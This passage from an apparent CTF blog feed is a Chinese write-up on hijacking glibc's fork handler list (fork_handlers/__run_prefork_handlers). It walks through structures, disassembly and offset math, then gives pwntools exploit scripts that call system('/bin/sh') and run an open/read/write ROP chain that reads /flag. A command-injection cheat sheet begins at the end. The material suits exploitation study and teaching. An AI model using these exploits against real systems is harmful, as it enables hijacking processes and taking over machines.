    // 通常用于释放 prepare 阶段获取的锁。
    void (*parent_handler) (void);

    // 3. Child Handler (fork 之后，子进程执行)
    // 在 fork 系统调用返回后，子进程会执行这个函数。
    // 通常用于释放 prepare 阶段获取的锁，并重置子进程的状态。
    void (*child_handler) (void);

    // 4. DSO Handle (动态共享对象句柄)
    // 这是一个指针，用于标识注册这个 handler 的动态库（例如 libc.so, libpthread.so）。
    // 当动态库被卸载时，glibc 会根据这个句柄移除对应的 handler，防止野指针调用。
    // 在漏洞利用中，通常设置为 0 (NULL) 即可。
    void *dso_handle;

    // 5. ID (glibc 2.36+ 新增)
    // 一个唯一的 64 位整数，用于标识这个 handler 条目。
    // 这是 glibc 为了改进 handler 的管理（如排序或校验）而引入的。
    // 攻击利用点：在构造 payload 时，需要按照 0, 1, 2... 的顺序填充这个字段，
    // 或者直接填入非零值，以通过 glibc 的内部检查逻辑。
    uint64_t id;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;fork_handler_list&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;struct DYNARRAY_STRUCT
{
  union
  {
    /* 1. 抽象头：用于多态 */
    struct dynarray_header dynarray_abstract;

    /* 2. 类型安全头：用于具体实现 */
    struct
    {
      /* 这些字段必须与 struct dynarray_header 内存布局完全一致 */
      size_t used;            // 当前数组中已使用的元素数量
      size_t allocated;       // 当前已分配的容量（capacity）
      DYNARRAY_ELEMENT *array; // 指向实际数据数组的指针（类型安全的指针）
    } dynarray_header;
  } u;

#if DYNARRAY_HAVE_SCRATCH
  /* 3. 栈上暂存区 (Small String/Buffer Optimization) */
  /* 如果数组元素很少（小于 DYNARRAY_INITIAL_SIZE），
     数据直接存放在这里，避免 malloc 分配堆内存，提高性能。 */
  DYNARRAY_ELEMENT scratch[DYNARRAY_INITIAL_SIZE];
#endif
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简化后：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct fork_handler_list {
        size_t used;
        size_t allocated;
        struct fork_handler* array;
        struct fork_handler scratch[48];
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;相关函数&lt;/h3&gt;
&lt;h4&gt;fork&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;fork.h&amp;gt;
#include &amp;lt;libio/libioP.h&amp;gt;
#include &amp;lt;ldsodefs.h&amp;gt;
#include &amp;lt;malloc/malloc-internal.h&amp;gt;
#include &amp;lt;nss/nss_database.h&amp;gt;
#include &amp;lt;register-atfork.h&amp;gt;
#include &amp;lt;stdio-lock.h&amp;gt;
#include &amp;lt;sys/single_threaded.h&amp;gt;
#include &amp;lt;unwind-link.h&amp;gt;

static void
fresetlockfiles (void)
{
  _IO_ITER i;

  for (i = _IO_iter_begin(); i != _IO_iter_end(); i = _IO_iter_next(i))
    if ((_IO_iter_file (i)-&amp;gt;_flags &amp;amp; _IO_USER_LOCK) == 0)
      _IO_lock_init (*((_IO_lock_t *) _IO_iter_file(i)-&amp;gt;_lock));
}

pid_t
__libc_fork (void)
{
  bool multiple_threads = !SINGLE_THREAD_P;
  uint64_t lastrun;

  lastrun = __run_prefork_handlers (multiple_threads); //这里

  struct nss_database_data nss_database_data;

  if (multiple_threads)
    {
      call_function_static_weak (__nss_database_fork_prepare_parent,
				 &amp;amp;nss_database_data);

      _IO_proc_file_chain_lock ();
      _IO_list_lock ();

      call_function_static_weak (__malloc_fork_lock_parent);
    }

  pid_t pid = _Fork ();

  if (pid == 0)
    {
      fork_system_setup ();

      if (multiple_threads)
	{
	  __libc_unwind_link_after_fork ();
	  fork_system_setup_after_fork ();
	  call_function_static_weak (__abort_fork_reset_child);
	  call_function_static_weak (__malloc_fork_unlock_child);
	  fresetlockfiles ();
	  _IO_list_resetlock ();
	  _IO_proc_file_chain_resetlock ();
	  call_function_static_weak (__nss_database_fork_subprocess,
				     &amp;amp;nss_database_data);
	}

      __rtld_lock_initialize (GL(dl_load_lock));
      __rtld_lock_initialize (GL(dl_load_tls_lock));
      reclaim_stacks ();

      __run_postfork_handlers (atfork_run_child, multiple_threads, lastrun);
    }
  else
    {
      int save_errno = errno;

      if (multiple_threads)
	{
	  call_function_static_weak (__malloc_fork_unlock_parent);
	  _IO_list_unlock ();
	  _IO_proc_file_chain_unlock ();
	}

      __run_postfork_handlers (atfork_run_parent, multiple_threads, lastrun);

      if (pid &amp;lt; 0)
	__set_errno (save_errno);
    }

  return pid;
}
weak_alias (__libc_fork, __fork)
libc_hidden_def (__fork)
weak_alias (__libc_fork, fork)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;code&gt;__run_prefork_handlers&lt;/code&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;uint64_t
__run_prefork_handlers (_Bool do_locking)
{
  uint64_t lastrun;

  /* 如果需要锁定（通常是多线程环境），则获取 atfork 锁 */
  if (do_locking)
    lll_lock (atfork_lock, LLL_PRIVATE);

  /* 保存当前的 fork 处理程序计数器，作为本次 fork 操作的截止点 */
  lastrun = fork_handler_counter;

  /* 获取当前注册的 fork 处理程序列表的大小 */
  size_t sl = fork_handler_list_size (&amp;amp;fork_handlers);
  
  /* 从列表末尾向前遍历处理程序 (LIFO 顺序) */
  for (size_t i = sl; i &amp;gt; 0;)
    {
      struct fork_handler *runp
        = fork_handler_list_at (&amp;amp;fork_handlers, i - 1);

      uint64_t id = runp-&amp;gt;id;

      if (runp-&amp;gt;prepare_handler != NULL)
        {
          if (do_locking)
            lll_unlock (atfork_lock, LLL_PRIVATE);

          runp-&amp;gt;prepare_handler (); //利用点

          if (do_locking)
            lll_lock (atfork_lock, LLL_PRIVATE);
        }

      i--;

      while (i &amp;gt; 0
             &amp;amp;&amp;amp; fork_handler_list_at (&amp;amp;fork_handlers, i - 1)-&amp;gt;id &amp;gt;= id)
        i--;
    }

  return lastrun;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;汇编&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;Dump of assembler code for function __run_prefork_handlers:
   0x00007ffff7e8d280 &amp;lt;+0&amp;gt;:     endbr64
   0x00007ffff7e8d284 &amp;lt;+4&amp;gt;:     push   rbp
   0x00007ffff7e8d285 &amp;lt;+5&amp;gt;:     mov    rbp,rsp
   0x00007ffff7e8d288 &amp;lt;+8&amp;gt;:     push   r15
   0x00007ffff7e8d28a &amp;lt;+10&amp;gt;:    mov    r15d,edi
   0x00007ffff7e8d28d &amp;lt;+13&amp;gt;:    push   r14
   0x00007ffff7e8d28f &amp;lt;+15&amp;gt;:    push   r13
   0x00007ffff7e8d291 &amp;lt;+17&amp;gt;:    push   r12
   0x00007ffff7e8d293 &amp;lt;+19&amp;gt;:    push   rbx
   0x00007ffff7e8d294 &amp;lt;+20&amp;gt;:    sub    rsp,0x18
   0x00007ffff7e8d298 &amp;lt;+24&amp;gt;:    test   dil,dil
   0x00007ffff7e8d29b &amp;lt;+27&amp;gt;:    jne    0x7ffff7e8d330 &amp;lt;__run_prefork_handlers+176&amp;gt;
   0x00007ffff7e8d2a1 &amp;lt;+33&amp;gt;:    mov    rdi,QWORD PTR [rip+0x1213d8]        # 0x7ffff7fae680 &amp;lt;fork_handlers&amp;gt;
   0x00007ffff7e8d2a8 &amp;lt;+40&amp;gt;:    mov    r12,QWORD PTR [rip+0x1213b9]        # 0x7ffff7fae668 &amp;lt;fork_handler_counter&amp;gt;
   0x00007ffff7e8d2af &amp;lt;+47&amp;gt;:    test   rdi,rdi
   0x00007ffff7e8d2b2 &amp;lt;+50&amp;gt;:    je     0x7ffff7e8d3b0 &amp;lt;__run_prefork_handlers+304&amp;gt;
   0x00007ffff7e8d2b8 &amp;lt;+56&amp;gt;:    mov    r14,rdi
   0x00007ffff7e8d2bb &amp;lt;+59&amp;gt;:    lea    rbx,[r14-0x1]
=&amp;gt; 0x00007ffff7e8d2bf &amp;lt;+63&amp;gt;:    cmp    rbx,rdi
   0x00007ffff7e8d2c2 &amp;lt;+66&amp;gt;:    jae    0x7ffff7e8d3a8 &amp;lt;__run_prefork_handlers+296&amp;gt;
   0x00007ffff7e8d2c8 &amp;lt;+72&amp;gt;:    mov    rax,QWORD PTR [rip+0x1213c1]        # 0x7ffff7fae690 &amp;lt;fork_handlers+16&amp;gt;
   0x00007ffff7e8d2cf &amp;lt;+79&amp;gt;:    lea    rdx,[rbx+rbx*4]
   0x00007ffff7e8d2d3 &amp;lt;+83&amp;gt;:    lea    rdx,[rax+rdx*8]
   0x00007ffff7e8d2d7 &amp;lt;+87&amp;gt;:    mov    rcx,QWORD PTR [rdx]
   0x00007ffff7e8d2da &amp;lt;+90&amp;gt;:    mov    r13,QWORD PTR [rdx+0x20]
   0x00007ffff7e8d2de &amp;lt;+94&amp;gt;:    test   rcx,rcx
   0x00007ffff7e8d2e1 &amp;lt;+97&amp;gt;:    je     0x7ffff7e8d2f8 &amp;lt;__run_prefork_handlers+120&amp;gt;
   0x00007ffff7e8d2e3 &amp;lt;+99&amp;gt;:    test   r15b,r15b
   0x00007ffff7e8d2e6 &amp;lt;+102&amp;gt;:   jne    0x7ffff7e8d360 &amp;lt;__run_prefork_handlers+224&amp;gt;
   0x00007ffff7e8d2e8 &amp;lt;+104&amp;gt;:   call   rcx
   0x00007ffff7e8d2ea &amp;lt;+106&amp;gt;:   mov    rdi,QWORD PTR [rip+0x12138f]        # 0x7ffff7fae680 &amp;lt;fork_handlers&amp;gt;
   0x00007ffff7e8d2f1 &amp;lt;+113&amp;gt;:   mov    rax,QWORD PTR [rip+0x121398]        # 0x7ffff7fae690 &amp;lt;fork_handlers+16&amp;gt;
   0x00007ffff7e8d2f8 &amp;lt;+120&amp;gt;:   lea    rdx,[r14+r14*4]
   0x00007ffff7e8d2fc &amp;lt;+124&amp;gt;:   lea    rax,[rax+rdx*8-0x30]
   0x00007ffff7e8d301 &amp;lt;+129&amp;gt;:   jmp    0x7ffff7e8d319 &amp;lt;__run_prefork_handlers+153&amp;gt;
   0x00007ffff7e8d303 &amp;lt;+131&amp;gt;:   nop    DWORD PTR [rax+rax*1+0x0]
   0x00007ffff7e8d308 &amp;lt;+136&amp;gt;:   sub    rax,0x28
   0x00007ffff7e8d30c &amp;lt;+140&amp;gt;:   cmp    QWORD PTR [rax+0x28],r13
   0x00007ffff7e8d310 &amp;lt;+144&amp;gt;:   jb     0x7ffff7e8d398 &amp;lt;__run_prefork_handlers+280&amp;gt;
   0x00007ffff7e8d316 &amp;lt;+150&amp;gt;:   mov    rbx,rsi
   0x00007ffff7e8d319 &amp;lt;+153&amp;gt;:   test   rbx,rbx
   0x00007ffff7e8d31c &amp;lt;+156&amp;gt;:   je     0x7ffff7e8d3b0 &amp;lt;__run_prefork_handlers+304&amp;gt;
   0x00007ffff7e8d322 &amp;lt;+162&amp;gt;:   lea    rsi,[rbx-0x1]
   0x00007ffff7e8d326 &amp;lt;+166&amp;gt;:   cmp    rsi,rdi
   0x00007ffff7e8d329 &amp;lt;+169&amp;gt;:   jb     0x7ffff7e8d308 &amp;lt;__run_prefork_handlers+136&amp;gt;
   0x00007ffff7e8d32b &amp;lt;+171&amp;gt;:   call   0x7ffff7e2ab60 &amp;lt;__GI___libc_dynarray_at_failure&amp;gt;
   0x00007ffff7e8d330 &amp;lt;+176&amp;gt;:   xor    eax,eax
   0x00007ffff7e8d332 &amp;lt;+178&amp;gt;:   mov    edx,0x1
   0x00007ffff7e8d337 &amp;lt;+183&amp;gt;:   lock cmpxchg DWORD PTR [rip+0x121321],edx        # 0x7ffff7fae660 &amp;lt;atfork_lock&amp;gt;
   0x00007ffff7e8d33f &amp;lt;+191&amp;gt;:   je     0x7ffff7e8d2a1 &amp;lt;__run_prefork_handlers+33&amp;gt;
   0x00007ffff7e8d345 &amp;lt;+197&amp;gt;:   lea    rdi,[rip+0x121314]        # 0x7ffff7fae660 &amp;lt;atfork_lock&amp;gt;
   0x00007ffff7e8d34c &amp;lt;+204&amp;gt;:   call   0x7ffff7e139a0 &amp;lt;__GI___lll_lock_wait_private&amp;gt;
   0x00007ffff7e8d351 &amp;lt;+209&amp;gt;:   jmp    0x7ffff7e8d2a1 &amp;lt;__run_prefork_handlers+33&amp;gt;
   0x00007ffff7e8d356 &amp;lt;+214&amp;gt;:   cs nop WORD PTR [rax+rax*1+0x0]
   0x00007ffff7e8d360 &amp;lt;+224&amp;gt;:   xor    eax,eax
   0x00007ffff7e8d362 &amp;lt;+226&amp;gt;:   xchg   DWORD PTR [rip+0x1212f8],eax        # 0x7ffff7fae660 &amp;lt;atfork_lock&amp;gt;
   0x00007ffff7e8d368 &amp;lt;+232&amp;gt;:   cmp    eax,0x1
   0x00007ffff7e8d36b &amp;lt;+235&amp;gt;:   jg     0x7ffff7e8d3c2 &amp;lt;__run_prefork_handlers+322&amp;gt;
   0x00007ffff7e8d36d &amp;lt;+237&amp;gt;:   call   QWORD PTR [rdx]
   0x00007ffff7e8d36f &amp;lt;+239&amp;gt;:   xor    eax,eax
   0x00007ffff7e8d371 &amp;lt;+241&amp;gt;:   mov    edx,0x1
   0x00007ffff7e8d376 &amp;lt;+246&amp;gt;:   lock cmpxchg DWORD PTR [rip+0x1212e2],edx        # 0x7ffff7fae660 &amp;lt;atfork_lock&amp;gt;
   0x00007ffff7e8d37e &amp;lt;+254&amp;gt;:   jne    0x7ffff7e8d3da &amp;lt;__run_prefork_handlers+346&amp;gt;
   0x00007ffff7e8d380 &amp;lt;+256&amp;gt;:   mov    rdi,QWORD PTR [rip+0x1212f9]        # 0x7ffff7fae680 &amp;lt;fork_handlers&amp;gt;
   0x00007ffff7e8d387 &amp;lt;+263&amp;gt;:   mov    rax,QWORD PTR [rip+0x121302]        # 0x7ffff7fae690 &amp;lt;fork_handlers+16&amp;gt;
   0x00007ffff7e8d38e &amp;lt;+270&amp;gt;:   jmp    0x7ffff7e8d2f8 &amp;lt;__run_prefork_handlers+120&amp;gt;
   0x00007ffff7e8d393 &amp;lt;+275&amp;gt;:   nop    DWORD PTR [rax+rax*1+0x0]
   0x00007ffff7e8d398 &amp;lt;+280&amp;gt;:   mov    r14,rbx
   0x00007ffff7e8d39b &amp;lt;+283&amp;gt;:   lea    rbx,[r14-0x1]
   0x00007ffff7e8d39f &amp;lt;+287&amp;gt;:   cmp    rbx,rdi
   0x00007ffff7e8d3a2 &amp;lt;+290&amp;gt;:   jb     0x7ffff7e8d2c8 &amp;lt;__run_prefork_handlers+72&amp;gt;
   0x00007ffff7e8d3a8 &amp;lt;+296&amp;gt;:   mov    rsi,rbx
   0x00007ffff7e8d3ab &amp;lt;+299&amp;gt;:   call   0x7ffff7e2ab60 &amp;lt;__GI___libc_dynarray_at_failure&amp;gt;
   0x00007ffff7e8d3b0 &amp;lt;+304&amp;gt;:   add    rsp,0x18
   0x00007ffff7e8d3b4 &amp;lt;+308&amp;gt;:   mov    rax,r12
   0x00007ffff7e8d3b7 &amp;lt;+311&amp;gt;:   pop    rbx
   0x00007ffff7e8d3b8 &amp;lt;+312&amp;gt;:   pop    r12
   0x00007ffff7e8d3ba &amp;lt;+314&amp;gt;:   pop    r13
   0x00007ffff7e8d3bc &amp;lt;+316&amp;gt;:   pop    r14
   0x00007ffff7e8d3be &amp;lt;+318&amp;gt;:   pop    r15
   0x00007ffff7e8d3c0 &amp;lt;+320&amp;gt;:   pop    rbp
   0x00007ffff7e8d3c1 &amp;lt;+321&amp;gt;:   ret
   0x00007ffff7e8d3c2 &amp;lt;+322&amp;gt;:   lea    rdi,[rip+0x121297]        # 0x7ffff7fae660 &amp;lt;atfork_lock&amp;gt;
   0x00007ffff7e8d3c9 &amp;lt;+329&amp;gt;:   mov    QWORD PTR [rbp-0x38],rdx
   0x00007ffff7e8d3cd &amp;lt;+333&amp;gt;:   call   0x7ffff7e13a60 &amp;lt;__GI___lll_lock_wake_private&amp;gt;
   0x00007ffff7e8d3d2 &amp;lt;+338&amp;gt;:   mov    rdx,QWORD PTR [rbp-0x38]
   0x00007ffff7e8d3d6 &amp;lt;+342&amp;gt;:   call   QWORD PTR [rdx]
   0x00007ffff7e8d3d8 &amp;lt;+344&amp;gt;:   jmp    0x7ffff7e8d36f &amp;lt;__run_prefork_handlers+239&amp;gt;
   0x00007ffff7e8d3da &amp;lt;+346&amp;gt;:   lea    rdi,[rip+0x12127f]        # 0x7ffff7fae660 &amp;lt;atfork_lock&amp;gt;
   0x00007ffff7e8d3e1 &amp;lt;+353&amp;gt;:   call   0x7ffff7e139a0 &amp;lt;__GI___lll_lock_wait_private&amp;gt;
   0x00007ffff7e8d3e6 &amp;lt;+358&amp;gt;:   jmp    0x7ffff7e8d380 &amp;lt;__run_prefork_handlers+256&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;流程分析&lt;/h3&gt;
&lt;p&gt;首先，我们看 &lt;code&gt;fork_handlers&lt;/code&gt; 全局变量在内存中的样子。它的类型是 &lt;code&gt;struct fork_handler_list&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct fork_handler_list { 
    size_t used;                  // Offset: 0x00 (0)
    size_t allocated;             // Offset: 0x08 (8)
    struct fork_handler* array;   // Offset: 0x10 (16) &amp;lt;-- 关键指针！
    struct fork_handler scratch[48]; // Offset: 0x18 (24) ...
}; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时，数组中的每个元素是 &lt;code&gt;struct fork_handler&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct fork_handler {
    void (*prepare_handler) (void); // Offset: 0x00
    // ... 其他字段 ...
    uint64_t id;                    // Offset: 0x20
}; // Total Size: 0x28 (40 bytes)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们看 &lt;code&gt;__run_prefork_handlers&lt;/code&gt; 中的关键指令：&lt;/p&gt;
&lt;h4&gt;第一步：获取 &lt;code&gt;used&lt;/code&gt; (RDI)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;mov    rdi, QWORD PTR [rip+0x1213d8]  # 加载 fork_handlers (偏移0x00)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;对应 C 代码&lt;/strong&gt;：&lt;code&gt;rdi = fork_handlers.used&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻击操作&lt;/strong&gt;：我们将内存中 &lt;code&gt;fork_handlers&lt;/code&gt; 的前 8 字节（即 &lt;code&gt;used&lt;/code&gt;）覆盖为 &lt;code&gt;/bin/sh&lt;/code&gt; 的地址（记为 &lt;code&gt;Target_RDI&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;此时寄存器状态&lt;/strong&gt;：&lt;code&gt;rdi = Target_RDI&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;第二步：准备循环索引 (RBX)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;mov    r14, rdi       # r14 = used
lea    rbx, [r14-0x1] # rbx = used - 1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;对应逻辑&lt;/strong&gt;：glibc 是从后往前遍历数组的，所以第一个要访问的元素的索引是 &lt;code&gt;used - 1&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;此时寄存器状态&lt;/strong&gt;：&lt;code&gt;rbx = Target_RDI - 1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;第三步：获取 &lt;code&gt;array&lt;/code&gt; 指针 (RAX)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;mov    rax, QWORD PTR [rip+0x1213c1]  # 加载 fork_handlers+16 (偏移0x10)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;对应 C 代码&lt;/strong&gt;：&lt;code&gt;rax = fork_handlers.array&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注意&lt;/strong&gt;：&lt;code&gt;0x10&lt;/code&gt; (16) 正好是 &lt;code&gt;used&lt;/code&gt; (8字节) + &lt;code&gt;allocated&lt;/code&gt; (8字节) 之后的偏移。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻击操作&lt;/strong&gt;：我们将内存中 &lt;code&gt;fork_handlers + 16&lt;/code&gt; 处覆盖为我们计算出的 &lt;code&gt;Fake_Array_Base&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;此时寄存器状态&lt;/strong&gt;：&lt;code&gt;rax = Fake_Array_Base&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;第四步：计算目标地址 (RDX)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;lea    rdx, [rbx+rbx*4] # rdx = rbx * 5
lea    rdx, [rax+rdx*8] # rdx = rax + (rbx * 5) * 8 = rax + rbx * 40
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;数学公式&lt;/strong&gt;：&lt;code&gt;rdx = array + index * sizeof(struct fork_handler)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代入我们的值&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
\text{Target_Addr} = \text{Fake_Array_Base} + (\text{Target_RDI} - 1) \times 40
$$&lt;/p&gt;
&lt;h4&gt;第五步：调用函数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;mov    rcx, QWORD PTR [rdx] # 读取结构体第一个成员 (prepare_handler)
call   rcx                  # 执行
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;攻击计算逻辑 (The Exploit Math)&lt;/h3&gt;
&lt;p&gt;我们现在是攻击者，我们想要 &lt;code&gt;call rcx&lt;/code&gt; 最终执行 &lt;code&gt;system&lt;/code&gt;，且此时 &lt;code&gt;rdi&lt;/code&gt; 是 &lt;code&gt;/bin/sh&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;已知条件&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Target_RDI&lt;/code&gt; = &lt;code&gt;/bin/sh&lt;/code&gt; 地址（例如 &lt;code&gt;0x7ffff7fae780&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Real_Payload_Addr&lt;/code&gt; = 我们在内存中实际写入伪造结构体的地方（例如 &lt;code&gt;0x555555558000&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;struct size&lt;/code&gt; = 40 (&lt;code&gt;0x28&lt;/code&gt;)。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;方程&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;我们需要构造一个 &lt;code&gt;Fake_Array_Base&lt;/code&gt;，使得 glibc 计算出的地址正好指向我们的 Payload。&lt;/p&gt;
&lt;p&gt;$$
\text{Fake_Array_Base} + (\text{Target_RDI} - 1) \times 40 = \text{Real_Payload_Addr}
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;变换求解&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$$
\text{Fake_Array_Base} = \text{Real_Payload_Addr} - [(\text{Target_RDI} - 1) \times 40]
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;处理溢出 (Wrap-around)&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;由于 &lt;code&gt;Target_RDI&lt;/code&gt; 很大，方括号里的乘积会非常大。直接相减会得到负数。
在 64 位系统中，负数是以补码形式存储的，这等价于模运算：&lt;/p&gt;
&lt;p&gt;$$
\text{Fake_Array_Base} = (\text{Real_Payload_Addr} - [(\text{Target_RDI} - 1) \times 40]) \pmod{2^{64}}
$$&lt;/p&gt;
&lt;p&gt;n 代表有几个 handler：&lt;/p&gt;
&lt;p&gt;$$
\text{Fake_Array_Base} = (\text{Real_Payload_Addr} - [(\text{Target_RDI} - n) \times 40]) \pmod{2^{64}}
$$&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;h4&gt;shell&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;fork_handlers_offset = 0x23b680 # &amp;lt;--- 修改这里！
fork_handlers_addr = libc.address + fork_handlers_offset

success(f&quot;Target fork_handlers: {hex(fork_handlers_addr)}&quot;)

# 1. 查找 /bin/sh 地址作为目标 RDI
rdi_target = next(libc.search(b&quot;/bin/sh\x00&quot;))
success(f&quot;Target RDI (/bin/sh): {hex(rdi_target)}&quot;)

# 2. 确定 Payload 存放的真实物理地址
# 我们把伪造的 handler 放在 fork_handlers 后面一点的地方
real_payload_addr = fork_handlers_addr + 0x100
success(f&quot;Real Payload Address: {hex(real_payload_addr)}&quot;)

def arbitrary_write(addr, value):
	sla(b&quot;&amp;gt; &quot;, b&quot;1&quot;)
	sla(b&quot;Address (hex): &quot;, hex(addr).encode())
	sla(b&quot;Value to write (hex): &quot;, hex(value).encode())
	ru(b&quot;Write done.&quot;)

# 3. 构造 Fake Handler 结构体
# struct fork_handler {
#     void (*prepare_handler)(void); &amp;lt;-- 我们写入 system
#     ...
#     uint64_t id; &amp;lt;-- 偏移 0x20
# }
arbitrary_write(real_payload_addr, libc.sym[&apos;system&apos;])
# ID 字段 (偏移 32)，填 0 即可
arbitrary_write(real_payload_addr + 32, 0)

# 4. 计算 Fake Array Base (核心数学魔法)
# 汇编逻辑：rdx = (rdi - 1) * 40
# 目标地址 = ArrayBase + rdx
# 所以：ArrayBase = (目标地址 - rdx) % 2^64
offset = (rdi_target - 1) * 40
fake_array_base = (real_payload_addr - offset) % (1&amp;lt;&amp;lt;64)
success(f&quot;Calculated Fake Array Base: {hex(fake_array_base)}&quot;)

# 5. 实施攻击
# 写入 fork_handlers.used (将被加载到 RDI)
arbitrary_write(fork_handlers_addr, rdi_target)

# 写入 fork_handlers.array (指向我们的 Fake Base)
# 注意：fork_handlers 结构体中，used 是偏移 0，allocated 是偏移 8，array 是偏移 16
arbitrary_write(fork_handlers_addr + 16, fake_array_base)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;orw&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;fork_handlers_offset = 0x23b680 
    fork_handlers_addr = libc.address + fork_handlers_offset
    success(f&quot;Target fork_handlers: {hex(fork_handlers_addr)}&quot;)

    ctx_addr = fork_handlers_addr + 0x200
    success(f&quot;Context Address (RDI target): {hex(ctx_addr)}&quot;)

    real_payload_addr = fork_handlers_addr + 0x8 #存放prepare_handler的地址

    num_handlers = 2
    offset = (ctx_addr - num_handlers) * 40
    fake_array_base = (real_payload_addr - offset) % (1&amp;lt;&amp;lt;64)
    success(f&quot;Calculated Fake Array Base: {hex(fake_array_base)}&quot;)

    payload = b&quot;&quot;
    payload += p64(ctx_addr)        # +0x00: used
    payload += p64(libc.sym[&apos;setcontext&apos;])               # +0x08: allocated &amp;amp;&amp;amp; prepare_handler
    payload += p64(fake_array_base) # +0x10: array ptr &amp;amp;&amp;amp; parent, child, dso
    payload += p64(0) * 2                  # parent, child, dso
    payload += p64(0)                      # id = 0
    payload += p64(libc.sym[&apos;gets&apos;])       # prepare_handler
    payload += p64(0) * 3                  # parent, child, dso
    payload += p64(1)                      # id = 1

    s(p64(fork_handlers_addr) + p64(len(payload)))
    pause()
    s(payload)


    rop = ROP(libc)
    ret = rop.find_gadget([&quot;ret&quot;])[0]
    pop_rdi = rop.find_gadget([&quot;pop rdi&quot;, &quot;ret&quot;])[0]
    pop_rsi = rop.find_gadget([&quot;pop rsi&quot;, &quot;ret&quot;])[0]
    pop_rax = rop.find_gadget([&quot;pop rax&quot;, &quot;ret&quot;])[0]
    syscall = rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0]

    flag_str_addr = ctx_addr + 0x400 
    
    chain = flat([
        # openat(0,&quot;flag&quot;, 0)
        pop_rdi, 0,
        pop_rsi, flag_str_addr,
        pop_rax, constants.SYS_openat,
        syscall,
        
        # read(3, flag_str_addr, 0x100)
        pop_rdi, 3, # fd
        pop_rsi, flag_str_addr, # buf
        pop_rax, constants.SYS_read,
        syscall,
        
        # write(1, flag_str_addr, 0x100)
        pop_rdi, 1, # fd
        pop_rax, constants.SYS_write,
        syscall
    ])
    

    ucontext_len = len((build_ucontext(0,0)))
    rop_start_addr = ctx_addr + ucontext_len
    
    ucontext = build_ucontext(rsp=rop_start_addr, rip=ret, rdx=0x100) 
    payload2 = b&apos;&apos;
    payload2 += ucontext
    payload2 += chain
    payload2 = payload2.ljust(0x400, b&apos;\x00&apos;) 
    payload2 += b&quot;/flag\x00&quot;
    
    if b&apos;\n&apos; in payload2:
        log.warning(&quot;Payload contains newline! gets() might truncate it.&quot;)

    pause()
    sl(payload2)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>命令注入与拼接技巧速查</title><link>https://0xh3y3.github.io/posts/command-injection-cheatsheet/</link><guid isPermaLink="true">https://0xh3y3.github.io/posts/command-injection-cheatsheet/</guid><description>CTF Web 命令注入常用拼接符、绕过技巧与实战 payload 汇总</description><pubDate>Mon, 20 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;所有内容仅用于合法授权的安全研究与学习&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、基础拼接符号&lt;/h2&gt;
&lt;h3&gt;1.1 Linux / Bash&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;符号&lt;/th&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;th&gt;行为&lt;/th&gt;
